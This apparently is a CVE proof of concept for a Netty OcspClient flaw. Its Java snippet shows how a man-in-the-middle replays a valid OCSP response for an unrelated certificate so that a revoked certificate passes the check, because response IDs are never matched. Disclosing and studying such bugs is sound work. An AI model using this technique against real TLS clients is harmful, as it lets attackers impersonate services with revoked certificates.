CVE-2026-56820: Netty OcspClient OCSP Response Replay Attack

// Attacker builds a forged OCSP response for an UNRELATED certificate
// signed by the same CA, then serves it to the Netty OcspClient.

// 1. Obtain a valid GOOD OCSPResp for attacker-controlled cert (unrelatedCert)
//    from the real CA OCSP responder. Encode it.
byte[] forgedResponseEncoded = forgedResponse.getEncoded();

// 2. Intercept / MITM the victim's OCSP HTTP request and return the forged bytes.
//    Netty's OcspClient receives this HTTP 200 with Content-Type: application/ocsp-response.
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
    HttpVersion.HTTP_1_1,
    HttpResponseStatus.OK,
    Unpooled.wrappedBuffer(forgedResponseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,
    httpResponse.content().readableBytes());

// 3. OcspClient.query() resolves to a BasicOCSPResp with status GOOD.
//    validateResponse() never calls certID.matches(requestedCertID).
//    The revoked targetCert is incorrectly treated as valid.
Promise<BasicOCSPResp> promise = OcspClient.query(
    revokedTargetCert, issuerCert, false, transport, resolver);
promise.await();
// promise.isSuccess() == true  <-- BUG: should be false